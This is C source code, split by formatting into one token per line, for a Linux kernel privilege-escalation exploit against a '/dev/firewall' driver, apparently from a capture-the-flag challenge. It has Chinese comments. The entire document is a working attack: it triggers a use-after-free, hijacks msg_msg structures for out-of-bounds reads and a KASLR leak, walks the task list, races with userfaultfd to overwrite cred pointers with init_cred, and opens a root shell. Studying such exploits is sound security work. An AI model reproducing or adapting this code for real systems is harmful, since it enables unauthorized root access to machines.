/
*
check
if
expr
=
=
-
1
*
/
if
((expr)
=
=
-
1
){ \
do{ \
perror(
exit(EXIT_FAILURE); \
}
while
(
0
); \
}
/
*
check
if
expr
=
=
-
1
*
/
typedef struct
{
char iface[
16
];
char name[
16
];
char ip[
16
];
char netmask[
16
];
uint8_t idx;
uint8_t
type
;
uint16_t proto;
uint16_t port;
uint8_t action;
char desc[DESC_MAX];
} user_rule_t;
typedef struct
{
long
mtype;
char mtext[
1
];
}msg;
struct list_head {
struct list_head
*
next
,
*
prev;
};
/
*
one msg_msg structure
for
each message
*
/
struct msg_msg {
struct list_head m_list;
long
m_type;
size_t m_ts;
/
*
message text size
*
/
void
*
next
;
/
*
struct msg_msgseg
*
next
;
*
/
void
*
security;
/
/
无SELinux,这里为NULL
/
*
the actual message follows immediately
*
/
};
int
fd;
char buf[DESC_MAX];
char msg_buffer[
0x2000
]
=
{
0
};
char recieved[
0x2000
];
uint64_t init_ipc_ns
=
0
;
uint64_t kernel_base
=
0
;
uint64_t init_task
=
0
;
uint64_t init_cred
=
0
;
pthread_t thr;
uint64_t attack_addr ;
void
*
arb_write(void
*
arg);
void debug(){
puts(
"debug()"
);
getchar();
}
void gen_dot_notation(char
*
buf, uint32_t val)
{
sprintf(buf,
"%d.%d.%d.%d"
, val &
0x000000FF
, (val &
0x0000FF00
) >>
8
, (val &
0x00FF0000
) >>
16
, (val &
0xFF000000
) >>
24
);
return
;
}
void generate(char
*
input
, user_rule_t
*
req)
{
char addr[
0x10
];
uint32_t ip
=
*
(uint32_t
*
)&
input
[
0x20
];
uint32_t netmask
=
*
(uint32_t
*
)&
input
[
0x24
];
memset(addr,
0
, sizeof(addr));
gen_dot_notation(addr, ip);
memcpy((void
*
)req
-
>ip, addr,
0x10
);
memset(addr,
0
, sizeof(addr));
gen_dot_notation(addr, netmask);
memcpy((void
*
)req
-
>netmask, addr,
0x10
);
memcpy((void
*
)req
-
>iface,
input
,
0x10
);
memcpy((void
*
)req
-
>name, (void
*
)&
input
[
0x10
],
0x10
);
memcpy((void
*
)&req
-
>proto, (void
*
)&
input
[
0x28
],
2
);
memcpy((void
*
)&req
-
>port, (void
*
)&
input
[
0x28
+
2
],
2
);
memcpy((void
*
)&req
-
>action, (void
*
)&
input
[
0x28
+
2
+
2
],
1
);
return
;
}
void firewall_add_rule(uint8_t idx,uint8_t
type
){
int
ret
=
0
;
user_rule_t r;
memset((void
*
)&r,
0
, sizeof(user_rule_t));
generate(buf, &r);
r.
type
=
type
;
r.idx
=
idx;
ret
=
ioctl(fd,ADD_RULE,&r);
printf(
"[+] Add Size: %#lx\n"
,sizeof(user_rule_t));
if
(ret !
=
SUCCESS){
printf(
"[-] firewall_add_rule FAILED, ret_val is : %d\n"
,ret);
}
else
{
printf(
"[+] firewall_add_rule SUCCESS\n"
);
}
}
void firewall_dup_rule(uint8_t idx,uint8_t
type
){
int
ret
=
0
;
user_rule_t r;
memset((void
*
)&r,
0
, sizeof(user_rule_t));
generate(buf, &r);
r.
type
=
type
;
r.idx
=
idx;
ret
=
ioctl(fd,DUP_RULE,&r);
/
/
printf(
"[+] size: %#lx\n"
,sizeof(user_rule_t));
if
(ret !
=
SUCCESS){
printf(
"[-] firewall_dup_rule FAILED, ret_val is : %d\n"
,ret);
}
else
{
printf(
"[+] firewall_dup_rule SUCCESS\n"
);
}
}
void firewall_delete_rule(uint8_t idx,uint8_t
type
){
int
ret
=
0
;
user_rule_t r;
memset((void
*
)&r,
0
, sizeof(user_rule_t));
generate(buf, &r);
r.
type
=
type
;
r.idx
=
idx;
ret
=
ioctl(fd,DELETE_RULE,&r);
/
/
printf(
"[+] size: %#lx\n"
,sizeof(user_rule_t));
if
(ret !
=
SUCCESS){
printf(
"[-] firewall_delete_rule FAILED, ret_val is : %d\n"
,ret);
}
else
{
printf(
"[+] firewall_delete_rule SUCCESS\n"
);
}
}
void firewall_edit_rule(uint8_t idx,uint8_t
type
){
char iface[
0x10
];memset(iface,
0x61
,
0x10
);
char name[
0x10
];memset(name,
0x62
,
0x10
);
int
ret
=
0
;
user_rule_t r;
memset((void
*
)&r,
0
, sizeof(user_rule_t));
generate(buf, &r);
r.
type
=
type
;
r.idx
=
idx;
memcpy(r.iface,iface,
16
);
memcpy(r.name,name,
16
);
ret
=
ioctl(fd,EDIT_RULE,&r);
if
(ret !
=
SUCCESS){
printf(
"[-] firewall_edit_rule FAILED, ret_val is : %d\n"
,ret);
}
else
{
printf(
"[+] firewall_edit_rule SUCCESS\n"
);
}
}
void evil_edit(uint8_t idx, char
*
buffer
,
int
type
,
int
invalidate)
{
int
ret;
user_rule_t rule;
memset((void
*
)&rule,
0
, sizeof(user_rule_t));
generate(
buffer
, (user_rule_t
*
)&rule);
rule.idx
=
idx;
rule.
type
=
type
;
if
(invalidate)
{
strcpy((void
*
)&rule.ip,
"invalid"
);
strcpy((void
*
)&rule.netmask,
"invalid"
);
}
ret
=
ioctl(fd, EDIT_RULE, (unsigned
long
)&rule);
if
(ret !
=
SUCCESS){
printf(
"[-] evil_edit FAILED, ret_val is : %d\n"
,ret);
}
else
{
printf(
"[+] evil_edit SUCCESS\n"
);
}
}
uint64_t create_message_queue(key_t key,
int
msgflag){
/
*
A Wrapper to msgget
*
/
uint64_t ret;
if
((ret
=
msgget(key, msgflag))
=
=
-
1
)
{
perror(
"msgget failure"
);
exit(
-
1
);
}
printf(
"[+] Create queue SUCCESS\n"
);
return
ret;
}
void send_message(
int
msqid, void
*
msgp, size_t msgsz,
int
msgflg){
/
*
A Wrapper to msgsnd
*
/
if
(msgsnd(msqid, msgp, msgsz, msgflg)
=
=
-
1
)
{
perror(
"msgsend failure"
);
return
;
}
printf(
"[+] msgsnd() SUCCESS\n"
);
return
;
}
void read_from_message_queue(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp,
int
msgflg){
if
(msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) <
0
)
{
perror(
"msgrcv"
);
exit(
-
1
);
}
return
;
}
void heap_spray_shmem(){
int
shmid;
char
*
shmaddr;
for
(
int
i
=
0
; i <
0x500
; i
+
+
)
{
if
((shmid
=
shmget(IPC_PRIVATE,
100
,
0600
))
=
=
-
1
)
{
perror(
"shmget error"
);
exit(
-
1
);
}
shmaddr
=
shmat(shmid, NULL,
0
);
if
(shmaddr
=
=
(void
*
)
-
1
)
{
perror(
"shmat error"
);
exit(
-
1
);
}
}
printf(
"[+] Spray shmem SUCCESS\n"
);
}
/
*
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
register userfault
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
*
/
static void register_userfault(void
*
handler){
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd
=
syscall(__NR_userfaultfd, O_CLOEXEC |O_NONBLOCK);
CHECK(uffd);
ua.api
=
UFFD_API;
ua.features
=
0
;
CHECK(ioctl(uffd, UFFDIO_API, &ua));
/
/
mmap [FAULT_PAGE,FAULT_PAGE
+
0x1000
] 后此时未初始化,访问会触发缺页
if
(mmap((void
*
)FAULT_PAGE,PAGE_SIZE, PROT_READ|PROT_WRITE,MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
-
1
,
0
)!
=
(void
*
)FAULT_PAGE){
perror(
"register_userfault() mmap"
);
exit(EXIT_FAILURE);
}
printf(
"[+] mmap(%#lx,%#lx)\n"
,FAULT_PAGE,PAGE_SIZE);
ur.
range
.start
=
(uint64_t)FAULT_PAGE;
/
/
要监视的区域
ur.
range
.
len
=
PAGE_SIZE;
/
/
长度
ur.mode
=
UFFDIO_REGISTER_MODE_MISSING;
CHECK(ioctl(uffd, UFFDIO_REGISTER, &ur));
/
/
/
/
注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作 , 这个ur对应一个uffd
printf(
"[*] register_userfault() %#lx success\n\n"
,FAULT_PAGE);
/
/
开一个线程,接收错误的信号,然后处理,如果这里被注释掉,则触发userfault的线程会一直卡死
/
/
本题在handler中完成arw
pthread_t s
=
pthread_create(&thr, NULL,handler, (void
*
)uffd);
/
/
uffd作为参数传过去
if
(s!
=
0
)
printf(
"[-] handler pthread_create failed"
);
}
/
*
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
register userfault
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
*
/
/
/
用于恢复userfault的handler函数,可以根据具体需求修改
/
*
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
userfault handler
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
*
/
void
*
handler(void
*
arg){
struct uffd_msg uf_msg;
unsigned
long
uffd
=
(unsigned
long
)arg;
struct uffdio_copy uf_copy;
struct uffdio_range uf_range;
puts(
"[+] arw handler created"
);
puts(
"[+] restore stuck begin"
);
struct pollfd pollfd;
int
nready;
pollfd.fd
=
uffd;
pollfd.events
=
POLLIN;
uf_range.start
=
FAULT_PAGE;
uf_range.
len
=
PAGE_SIZE;
/
/
监听事件,poll会阻塞,直到收到缺页错误的消息
while
(poll(&pollfd,
1
,
-
1
) >
0
){
if
(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
{
perror(
"polling error"
);
exit(
-
1
);
}
/
/
读取事件
nready
=
read(uffd, &uf_msg, sizeof(uf_msg));
if
(nready <
=
0
) {
puts(
"[-]uf_msg error!!"
);
}
/
/
判断消息的事件类型
if
(uf_msg.event !
=
UFFD_EVENT_PAGEFAULT)
{
perror(
"unexpected result from event"
);
exit(
-
1
);
}
/
/
初始化
buffer
,大小为pagesize,并且设置对应位置的指针,准备用来改cred
*
恢复userfault的区域
char uf_buffer[
0x1000
];
memset(uf_buffer,
0
, sizeof(uf_buffer));
memcpy((void
*
)(uf_buffer
+
0x1000
-
0x30
), (void
*
)&init_cred,
8
);
memcpy((void
*
)(uf_buffer
+
0x1000
-
0x30
+
8
), (void
*
)&init_cred,
8
);
/
/
设置struct uffdio_copy 恢复userfault
uf_copy.src
=
(unsigned
long
)uf_buffer;
uf_copy.dst
=
FAULT_PAGE;
uf_copy.
len
=
0x1000
;
uf_copy.mode
=
0
;
uf_copy.copy
=
0
;
char
buffer
[
0x2000
]
=
{
0
};
struct msg_msg evil;
memset(&evil,
0
,sizeof(struct msg_msg));
evil.m_list.
next
=
(void
*
)
0xdeadbeef
;
evil.m_list.prev
=
(void
*
)
0xdeadbeef
;
evil.m_type
=
1
;
evil.m_ts
=
0x1008
-
0x30
;
evil.
next
=
(void
*
)attack_addr;
/
/
设置msg_msg.
next
指向要attack的task_struct,也即是当前进程的task_struct
memcpy(
buffer
,&evil,sizeof(struct msg_msg ));
evil_edit(
1
,
buffer
,OUTBOUND,
0
);
/
/
UAF writea,劫持msg_msg结构
if
(ioctl(uffd, UFFDIO_COPY, (unsigned
long
)&uf_copy)
=
=
-
1
)
/
/
wake it up
{
perror(
"uffdio_copy error"
);
exit(
-
1
);
}
/
/
debug();
if
(ioctl(uffd, UFFDIO_UNREGISTER, (unsigned
long
)&uf_range)
=
=
-
1
)
{
perror(
"error unregistering page for userfaultfd"
);
}
if
(munmap((void
*
)FAULT_PAGE,
0x1000
)
=
=
-
1
)
{
perror(
"error on munmapping race page"
);
}
return
0
;
}
/
/
监听事件,poll会阻塞,直到收到缺页错误的消息
/
/
nready
=
poll(&pollfd,
1
,
-
1
);
/
/
if
(nready !
=
1
)
/
/
puts(
"[-] Wrong pool return value"
);
/
/
nready
=
read(uffd, &msg, sizeof(msg));
/
/
if
(nready <
=
0
) {
/
/
puts(
"[-]msg error!!"
);
/
/
}
/
/
printf(
"[+] read page fault msg\n"
);
/
/
char
*
page
=
(char
*
)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,
-
1
,
0
);
/
/
if
(page
=
=
MAP_FAILED)
/
/
puts(
"[-]mmap page error!!"
);
/
/
struct uffdio_copy uc;
/
/
/
/
初始化page页
/
/
memset(page,
0
, sizeof(page));
/
/
uc.src
=
(unsigned
long
)page;
/
/
/
/
出现缺页的位置
/
/
uc.dst
=
(unsigned
long
)msg.arg.pagefault.address & ~(PAGE_SIZE
-
1
);;
/
/
uc.
len
=
PAGE_SIZE;
/
/
uc.mode
=
0
;
/
/
uc.copy
=
0
;
/
/
ioctl(uffd, UFFDIO_COPY, &uc);
/
/
puts(
"[+] handler done!!"
);
/
/
return
NULL;
return
0
;
}
/
*
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
userfault handler
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
*
/
int
main(){
msg
*
message
=
(msg
*
)msg_buffer;
uint64_t size;
uint64_t qid;
fd
=
open
(
"/dev/firewall"
,O_RDWR);
CHECK(fd);
printf(
"[+] Open SUCCESS\n"
);
printf(
"[+] sizeof msg_msg: %#lx\n"
,sizeof(struct msg_msg));
/
/
Create
firewall_add_rule(
0
,INBOUND);
/
/
copy to OUTBOUND
list
firewall_dup_rule(
0
,INBOUND);
/
/
Create msg queue
qid
=
create_message_queue(IPC_PRIVATE,
0666
| IPC_CREAT);
printf(
"[+] qid: %ld\n"
,qid);
/
/
Trigger UAF(kmalloc
-
4k
)
firewall_delete_rule(
0
,INBOUND);
/
/
此时size落在kmalloc
-
4k
,触发之后从kmalloc
-
4k
中重新取出对应的结构,此时变成了 struct msg_msg,并且紧接着的是mtext
size
=
0x1010
;
message
-
>mtype
=
1
;
memset(message
-
>mtext,
0x61
,size);
send_message(qid,message,size
-
0x30
,
0
);
/
/
msgsz
=
full_size
-
sizeof(struct msg_msg)
/
/
Spray shm_file_data(kmalloc
-
32
) by shmat
/
/
Bypass fg
-
kaslr :)
heap_spray_shmem();
/
/
Prepare
for
OOB read.
/
/
Ceate an evil msg_msg,
in
order to hijack msg_msg ctl structure
in
Kernel.
struct msg_msg evil;
size
=
0x1500
;
memset(&evil,
0
,sizeof(struct msg_msg));
evil.m_list.
next
=
(void
*
)
0x4141414141414141
;
evil.m_list.prev
=
(void
*
)
0x4242424242424242
;
evil.m_type
=
1
;
evil.m_ts
=
size;
memset(msg_buffer,
0
, sizeof(msg_buffer));
memcpy(msg_buffer, (void
*
)&evil,
0x20
);
/
/
Copy first
0x20
bytes ctl structure, modify the struct msg_msg ctl structure
evil_edit(
0
, msg_buffer, OUTBOUND,
1
);
/
/
UAF edit, firewall_edit_rule() failed , but before it exits, we successfully edit first
0x20
bytes
/
/
After evil_edit(), we successfully change the m_ts to
0x1500
!
memset(recieved,
0
, sizeof(recieved));
/
/
Because we hijack the m_ts to a huge value, OOB read happended here.
read_from_message_queue(qid, recieved, size,
0
, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
/
/
Read
from
msg queue
/
/
printf(
"recieved: %p\n"
,recieved);
for
(
int
i
=
0
; i < size
/
8
; i
+
+
)
{
if
((
*
(uint64_t
*
)(recieved
+
i
*
8
) &
0xfff
)
=
=
0x7a0
)
{
init_ipc_ns
=
*
(uint64_t
*
)(recieved
+
i
*
8
);
/
/
ffffffff81c3d7a0 D init_ipc_ns
printf(
"[+] hit addr: %#lx\n"
,(uint64_t)(recieved
+
i
*
8
));
break
;
}
if
(i
=
=
((size
/
8
)
-
1
) ){
puts(
"[-] Dump \"init_ipc_ns\" from msg Queue FAILED"
);
exit(
0
);
}
}
kernel_base
=
init_ipc_ns
-
(
0xffffffff81c3d7a0
-
0xffffffff81000000
);
init_task
=
kernel_base
+
(
0xffffffff81c124c0
-
0xffffffff81000000
);
init_cred
=
kernel_base
+
(
0xffffffff81c33060
-
0xffffffff81000000
);
printf(
"[*] kernel_base: %#lx\n"
,kernel_base);
printf(
"[*] init_task: %#lx\n"
,init_task);
printf(
"[*] init_cred: %#lx\n"
,init_cred);
/
/
再触发一次edit,此时改msg_msg的
next
指针指向init_task
+
0x290
/
/
目的是在通过多次msgrcv来扫描链表,此时链表
next
指针(struct msg_msgseg
*
next
) 被劫持指向了init_task
/
/
那么实际上我们就是在扫描系统的task链表,直到找到当前进程对应的task_struct
memset((void
*
)&evil,
0
, sizeof(struct msg_msg));
memset(recieved,
0
, sizeof(recieved));
memset(msg_buffer,
0
, sizeof(msg_buffer));
evil.m_type
=
1
;
evil.m_ts
=
size;
evil.
next
=
(void
*
)init_task
+
0x298
-
0x8
;
/
/
-
0x8
是因为要保证每一次的struct msg_msgseg只利用一次,所以让他的
next
指针域为NULL,这
0x8
是留给
next
的
memcpy(msg_buffer, (void
*
)&evil, sizeof(struct msg_msg));
evil_edit(
0
, msg_buffer, OUTBOUND,
0
);
printf(
"[+] recieved: %p\n"
,recieved);
read_from_message_queue(qid, recieved, size,
0
, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
/
/
读一次
int32_t pid;
uint64_t prev, curr;
memcpy((void
*
)&prev, (void
*
)(recieved
+
0xfe0
),
8
);
memcpy((void
*
)&pid, (void
*
)(recieved
+
0x10d8
),
4
);
printf(
"%d %d\n"
, pid, getpid());
/
/
在
while
中多次调用msgrcv顺着init_task扫描链表,直到找到当前进程对应的task_struct
while
(pid !
=
getpid())
{
curr
=
prev
-
0x298
;
evil.
next
=
(void
*
)prev
-
0x8
;
/
/
更新
next
指针为task链表上的下一个元素
memcpy(msg_buffer, (void
*
)&evil, sizeof(struct msg_msg));
evil_edit(
0
, msg_buffer, OUTBOUND,
0
);
read_from_message_queue(qid, recieved, size,
0
, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
memcpy((void
*
)&prev, (void
*
)(recieved
+
0xfe0
),
8
);
memcpy((void
*
)&pid, (void
*
)(recieved
+
0x10d8
),
4
);
printf(
"%d %d\n"
, pid, getpid());
}
printf(
"[+] Found current task_struct: %#lx\n"
,curr);
/
/
UAF kmalloc
-
4k
firewall_add_rule(
1
,INBOUND);
firewall_dup_rule(
1
,INBOUND);
firewall_delete_rule(
1
,INBOUND);
memset(msg_buffer,
0
, sizeof(msg_buffer));
/
*
typedef struct
{
long
mtype;
char mtext[
1
];
}msg;
*
/
msg
*
root;
uint64_t root_size
=
0x1010
;
void
*
evil_page
=
mmap((void
*
)FAULT_PAGE
-
PAGE_SIZE, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
0
,
0
);
/
/
前
8bytes
要放mtype,必须是mmap之后的合法内存
/
/
后面的char mtext[]将会落在register_userfault中mmap的未初始化的内存区域[FAULT_PAGE,FAULT_PAGE
+
PAGE_SIZE]
root
=
(msg
*
)(FAULT_PAGE
-
0x8
);
root
-
>mtype
=
1
;
/
/
要劫持的地方是task_struct偏移为
0x538
和
0x540
的 cred
*
real_cred 和 cred
*
cred 指针
/
/
在handler中完成任意写
register_userfault(handler);
attack_addr
=
curr
+
0x538
-
0x8
;
printf(
"[+] attack_addr: %#lx\n"
,attack_addr);
sleep(
1
);
send_message(qid,root,root_size
-
0x30
,
0
);
pthread_join(thr, NULL);
/
/
等待用于arw的handler返回
if
(getuid()
=
=
0
){
system(
"echo \"Welcome to root sapce!\""
);
system(
"/bin/sh"
);
}
else
{
puts(
"[-] root failed"
);
}
}